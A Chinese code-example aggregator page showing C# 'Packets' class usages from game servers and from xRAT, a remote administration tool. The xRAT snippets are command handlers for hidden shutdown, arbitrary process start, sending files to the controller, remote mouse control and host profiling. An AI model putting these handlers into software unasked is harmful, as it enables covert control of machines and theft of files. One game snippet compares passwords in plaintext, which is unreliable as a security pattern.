• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

C# Packets类代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了C#中Packets的典型用法代码示例。如果您正苦于以下问题:C# Packets类的具体用法?C# Packets怎么用?C# Packets使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。



Packets类属于命名空间,在下文中一共展示了Packets类的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C#代码示例。

示例1: OnLogin

        public void OnLogin(Packets.Client.CSMG_LOGIN p)
        {
            p.GetContent();
            if (MapServer.accountDB.CheckPassword(p.UserName, p.Password, this.frontWord, this.backWord))
            {
                Packets.Server.SSMG_LOGIN_ACK p1 = new SagaMap.Packets.Server.SSMG_LOGIN_ACK();
                p1.LoginResult = SagaMap.Packets.Server.SSMG_LOGIN_ACK.Result.OK;
                p1.Unknown1 = 0x100;
                p1.Unknown2 = 0x486EB420;

                this.netIO.SendPacket(p1);

                account = MapServer.accountDB.GetUser(p.UserName);

                uint[] charIDs = MapServer.charDB.GetCharIDs(account.AccountID);

                account.Characters = new List<ActorPC>();
                for (int i = 0; i < charIDs.Length; i++)
                {
                    account.Characters.Add(MapServer.charDB.GetChar(charIDs[i]));
                }
                this.state = SESSION_STATE.AUTHENTIFICATED;
            }
            else
            {
                Packets.Server.SSMG_LOGIN_ACK p1 = new SagaMap.Packets.Server.SSMG_LOGIN_ACK();
                p1.LoginResult = SagaMap.Packets.Server.SSMG_LOGIN_ACK.Result.GAME_SMSG_LOGIN_ERR_BADPASS;
                this.netIO.SendPacket(p1);
            }
        }
开发者ID:yasuhiro91,项目名称:SagaECO,代码行数:30,代码来源:MapClient.Login.cs


示例2: HandleDoShutdownAction

 public static void HandleDoShutdownAction(Packets.ServerPackets.DoShutdownAction command, Client client)
 {
     try
     {
         ProcessStartInfo startInfo = new ProcessStartInfo();
         switch (command.Action)
         {
             case ShutdownAction.Shutdown:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/s /t 0"; // shutdown
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case ShutdownAction.Restart:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/r /t 0"; // restart
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case ShutdownAction.Standby:
                 Application.SetSuspendState(PowerState.Suspend, true, true); // standby
                 break;
         }
     }
     catch (Exception ex)
     {
         new Packets.ClientPackets.SetStatus(string.Format("Action failed: {0}", ex.Message)).Execute(client);
     }
 }
开发者ID:nhymxu,项目名称:xRAT,代码行数:33,代码来源:SystemHandler.cs


示例3: HandleAction

 public static void HandleAction(Packets.ServerPackets.Action command, Client client)
 {
     try
     {
         ProcessStartInfo startInfo = new ProcessStartInfo();
         switch (command.Mode)
         {
             case 0:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/s /t 0"; // shutdown
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case 1:
                 startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                 startInfo.CreateNoWindow = true;
                 startInfo.UseShellExecute = true;
                 startInfo.Arguments = "/r /t 0"; // restart
                 startInfo.FileName = "shutdown";
                 Process.Start(startInfo);
                 break;
             case 2:
                 Application.SetSuspendState(PowerState.Suspend, true, true); // standby
                 break;
         }
     }
     catch
     {
         new Packets.ClientPackets.Status("Action failed!").Execute(client);
     }
 }
开发者ID:TxBlackWolf,项目名称:xRAT,代码行数:33,代码来源:CommandHandler.cs


示例4: Handle_CMSG_LOGINREQUEST

        private void Handle_CMSG_LOGINREQUEST(Packets.CMSG_LOGINREQUEST packet)
        {
            Utilities.ConsoleStyle.Debug("Check client account .. ");
            var account = Database.Models.AccountModel.FindOne(packet.Username);
            if (account != null)
            {
                if (account.Password == packet.Password)//Check password
                {
                    this.Account = account;//Client is logged
                    this.Send(new Packets.SMSG_LOGINRESULT(Enums.LoginResultEnum.CORRECT_LOGIN, account.ID, account.IsOp(), account.Pseudo));
                    Utilities.ConsoleStyle.Infos("Player @'" + account.Username + "'@ connected !");

                    this.Send_SMSG_LISTWORLDS();
                }
                else
                {
                    Utilities.ConsoleStyle.Error("Password don't match");
                    this.Send(new Packets.SMSG_LOGINRESULT(Enums.LoginResultEnum.INVALID_LOGIN, account.ID, account.IsOp(), account.Pseudo));
                }
            }
            else
            {
                Utilities.ConsoleStyle.Error("Can't found the account @'" + packet.Username + "'@");
                this.Send(new Packets.SMSG_LOGINRESULT(Enums.LoginResultEnum.INVALID_LOGIN, -1, false, ""));
            }
        }
开发者ID:respu,项目名称:WakSharp,代码行数:26,代码来源:RealmSession.cs


示例5: HandleDoProcessStart

        public static void HandleDoProcessStart(Packets.ServerPackets.DoProcessStart command, Client client)
        {
            if (string.IsNullOrEmpty(command.Processname))
            {
                new Packets.ClientPackets.SetStatus("Process could not be started!").Execute(client);
                return;
            }

            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    UseShellExecute = true,
                    FileName = command.Processname
                };
                Process.Start(startInfo);
            }
            catch
            {
                new Packets.ClientPackets.SetStatus("Process could not be started!").Execute(client);
            }
            finally
            {
                HandleGetProcesses(new Packets.ServerPackets.GetProcesses(), client);
            }
        }
开发者ID:nhymxu,项目名称:xRAT,代码行数:26,代码来源:SystemHandler.cs


示例6: BuildPacket

        public static byte[] BuildPacket(Packets.LicensePlatePacket plateExpected)
        {
            var mem = new MemoryStream();
            var writer = new EndianBinaryWriter(Configuration.EndianBitConverter, mem, Configuration.Encoding);

            var licenseBytes = Configuration.Encoding.GetBytes(plateExpected.LicensePlate.LicenseNumber);

            writer.Write(licenseBytes);
            writer.Write(01u);
            writer.Write((UInt32)plateExpected.CaptureTime.ToBinary());
            writer.Write((UInt32)plateExpected.CaptureLocation.Id);

            int imgCount = plateExpected.EvidenceImageData.Count;
            writer.Write((uint)imgCount);

            var imgData = plateExpected.EvidenceImageData;
            for (int i = 0; i < imgCount; ++i)
            {
                writer.Write((uint)imgData[i].Length);
            }

            for (int i = 0; i < imgCount; ++i)
            {
                writer.Write(imgData[i]);
            }

            return mem.ToArray();
        }
开发者ID:vanan08,项目名称:damany,代码行数:28,代码来源:PacketGenerator.cs


示例7: HandleDoMouseClick

        public static void HandleDoMouseClick(Packets.ServerPackets.DoMouseClick command, Client client)
        {
            Screen[] allScreens = Screen.AllScreens;
            int offsetX = allScreens[command.MonitorIndex].Bounds.X;
            int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
            Point p = new Point(command.X + offsetX, command.Y + offsetY);

            if (command.LeftClick)
            {
                SetCursorPos(p.X, p.Y);
                mouse_event(MOUSEEVENTF_LEFTDOWN, p.X, p.Y, 0, 0);
                mouse_event(MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
                if (command.DoubleClick)
                {
                    mouse_event(MOUSEEVENTF_LEFTDOWN, p.X, p.Y, 0, 0);
                    mouse_event(MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
                }
            }
            else
            {
                SetCursorPos(p.X, p.Y);
                mouse_event(MOUSEEVENTF_RIGHTDOWN, p.X, p.Y, 0, 0);
                mouse_event(MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
                if (command.DoubleClick)
                {
                    mouse_event(MOUSEEVENTF_RIGHTDOWN, p.X, p.Y, 0, 0);
                    mouse_event(MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
                }
            }
        }
开发者ID:tardigrade1,项目名称:xRAT,代码行数:30,代码来源:SurveillanceHandler.cs


示例8: Create

        public static void Create(Entities.GameClient client, Packets.TeamActionPacket packet)
        {
            if (packet.EntityUID != client.EntityUID)
                return;
            if (client.Team != null)
                return;

            client.Team = new Team();
            client.Team.Leader = client.EntityUID;
            if (client.Team.Members.TryAdd(client.EntityUID, client))
            {
                using (var create = new Packets.TeamActionPacket())
                {
                    create.EntityUID = client.EntityUID;
                    create.Action = Enums.TeamAction.Leader;
                    client.Send(create);
                    create.Action = Enums.TeamAction.Create;
                    client.Send(create);
                }
                client.AddStatusEffect1(Enums.Effect1.TeamLeader, 0);
            }
            else
            {
                client.Team = null;
            }
        }
开发者ID:kenlacoste843,项目名称:ProjectXV3,代码行数:26,代码来源:Team.cs


示例9: HandleDoDownloadFile

        public static void HandleDoDownloadFile(Packets.ServerPackets.DoDownloadFile command, Client client)
        {
            new Thread(() =>
            {
                try
                {
                    FileSplit srcFile = new FileSplit(command.RemotePath);
                    if (srcFile.MaxBlocks < 0)
                        new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1,
                            srcFile.LastError).Execute(client);

                    for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
                    {
                        if (!client.Connected) return;
                        if (_canceledDownloads.ContainsKey(command.ID)) return;

                        byte[] block;
                        if (srcFile.ReadBlock(currentBlock, out block))
                        {
                            new Packets.ClientPackets.DoDownloadFileResponse(command.ID,
                                Path.GetFileName(command.RemotePath), block, srcFile.MaxBlocks, currentBlock,
                                srcFile.LastError).Execute(client);
                        }
                        else
                            new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1,
                                srcFile.LastError).Execute(client);
                    }
                }
                catch (Exception ex)
                {
                    new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, ex.Message)
                        .Execute(client);
                }
            }).Start();
        }
开发者ID:nhymxu,项目名称:xRAT,代码行数:35,代码来源:FileHandler.cs


示例10: HandleMonitors

 public static void HandleMonitors(Packets.ServerPackets.Monitors command, Client client)
 {
     if (Screen.AllScreens != null && Screen.AllScreens.Length > 0)
     {
         new Packets.ClientPackets.MonitorsResponse(Screen.AllScreens.Length).Execute(client);
     }
 }
开发者ID:he0x,项目名称:xRAT,代码行数:7,代码来源:SurveillanceHandler.cs


示例11: OnSit

 public void OnSit(Packets.Client.CSMG_CHAT_SIT p)
 {
     ChatArg arg = new ChatArg();
     arg.motion = MotionType.SIT;
     arg.loop = 1;
     Map.SendEventToAllActorsWhoCanSeeActor(Map.EVENT_TYPE.MOTION, arg, this.Character, true);
 }
开发者ID:yasuhiro91,项目名称:SagaECO,代码行数:7,代码来源:MapClient.Chat.cs


示例12: OnMotion

 public void OnMotion(Packets.Client.CSMG_CHAT_MOTION p)
 {
     ChatArg arg = new ChatArg();
     arg.motion = p.Motion;
     arg.loop = p.Loop;
     Map.SendEventToAllActorsWhoCanSeeActor(Map.EVENT_TYPE.MOTION, arg, this.Character, true);
 }
开发者ID:yasuhiro91,项目名称:SagaECO,代码行数:7,代码来源:MapClient.Chat.cs


示例13: HandleDoMouseEvent

        public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client)
        {
            Screen[] allScreens = Screen.AllScreens;
            int offsetX = allScreens[command.MonitorIndex].Bounds.X;
            int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
            Point p = new Point(command.X + offsetX, command.Y + offsetY);

            switch (command.Action)
            {
                case MouseAction.LeftDown:
                case MouseAction.LeftUp:
                    NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
                    break;
                case MouseAction.RightDown:
                case MouseAction.RightUp:
                    NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
                    break;
                case MouseAction.MoveCursor:
                    NativeMethodsHelper.DoMouseMove(p);
                    break;
                case MouseAction.ScrollDown:
                    NativeMethodsHelper.DoMouseScroll(p, true);
                    break;
                case MouseAction.ScrollUp:
                    NativeMethodsHelper.DoMouseScroll(p, false);
                    break;
            }
        }
开发者ID:vanika,项目名称:xRAT,代码行数:28,代码来源:SurveillanceHandler.cs


示例14: HandleInitializeCommand

 public static void HandleInitializeCommand(Packets.ServerPackets.InitializeCommand command, Client client)
 {
     SystemCore.InitializeGeoIp();
     new Packets.ClientPackets.Initialize(Settings.VERSION, SystemCore.OperatingSystem, SystemCore.AccountType,
         SystemCore.Country, SystemCore.CountryCode, SystemCore.Region, SystemCore.City, SystemCore.ImageIndex,
         SystemCore.GetId(), SystemCore.GetUsername(), SystemCore.GetPcName()).Execute(client);
 }
开发者ID:he0x,项目名称:xRAT,代码行数:7,代码来源:ConnectionHandler.cs


示例15: OnRequestPCInfo

 public void OnRequestPCInfo(Packets.Client.CSMG_ACTOR_REQUEST_PC_INFO p)
 {
     Packets.Server.SSMG_ACTOR_PC_INFO p1 = new SagaMap.Packets.Server.SSMG_ACTOR_PC_INFO();
     ActorPC pc = (ActorPC)this.map.GetActor(p.ActorID);
     p1.Actor = pc;
     Logger.ShowInfo(this.netIO.DumpData(p1));
     this.netIO.SendPacket(p1);
 }
开发者ID:yasuhiro91,项目名称:SagaECO,代码行数:8,代码来源:MapClient.Actor.cs


示例16: SendPacket

 public void SendPacket(Packets.SLPacket packet)
 {
     lock (_locked)
     {
         foreach (SLDataListener l in _listeners)
             l.Send(packet);
     }
 }
开发者ID:by-Kirya,项目名称:SLan,代码行数:8,代码来源:SLServer_API.cs


示例17: OnMapLoaded

 public void OnMapLoaded(Packets.Client.CSMG_PLAYER_MAP_LOADED p)
 {
     this.Character.invisble = false;
     this.Map.OnActorVisibilityChange(this.Character);
     this.Map.SendVisibleActorsToActor(this.Character);
     Packets.Server.SSMG_LOGIN_FINISHED p1 = new SagaMap.Packets.Server.SSMG_LOGIN_FINISHED();
     this.netIO.SendPacket(p1);
 }
开发者ID:yasuhiro91,项目名称:SagaECO,代码行数:8,代码来源:MapClient.Login.cs


示例18: HandleDoDownloadFileCancel

 public static void HandleDoDownloadFileCancel(Packets.ServerPackets.DoDownloadFileCancel command, Client client)
 {
     if (!_canceledDownloads.ContainsKey(command.ID))
     {
         _canceledDownloads.Add(command.ID, "canceled");
         new Packets.ClientPackets.DoDownloadFileResponse(command.ID, "", new byte[0], -1, -1, "Canceled").Execute(client);
     }
 }
开发者ID:nhymxu,项目名称:xRAT,代码行数:8,代码来源:FileHandler.cs


示例19: OnChat

 public void OnChat(Packets.Client.CSMG_CHAT_PUBLIC p)
 {
     if (!AtCommand.Instance.ProcessCommand(this, p.Content))
     {
         ChatArg arg = new ChatArg();
         arg.content = p.Content;
         Map.SendEventToAllActorsWhoCanSeeActor(Map.EVENT_TYPE.CHAT, arg, this.Character, true);
     }
 }
开发者ID:yasuhiro91,项目名称:SagaECO,代码行数:9,代码来源:MapClient.Chat.cs


示例20: OnMove

 public void OnMove(Packets.Client.CSMG_PLAYER_MOVE p)
 {
     switch (p.MoveType)
     {
         case MoveType.RUN:
             this.Map.MoveActor(Map.MOVE_TYPE.START, this.Character, new short[2] { p.X, p.Y }, p.Dir, this.Character.Speed);
             break;
     }
 }
开发者ID:yasuhiro91,项目名称:SagaECO,代码行数:9,代码来源:MapClient.Actor.cs



注:本文中的Packets类示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C# PackingSize类代码示例发布时间:2022-05-24
下一篇:
C# PacketWriter类代码示例发布时间:2022-05-24
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap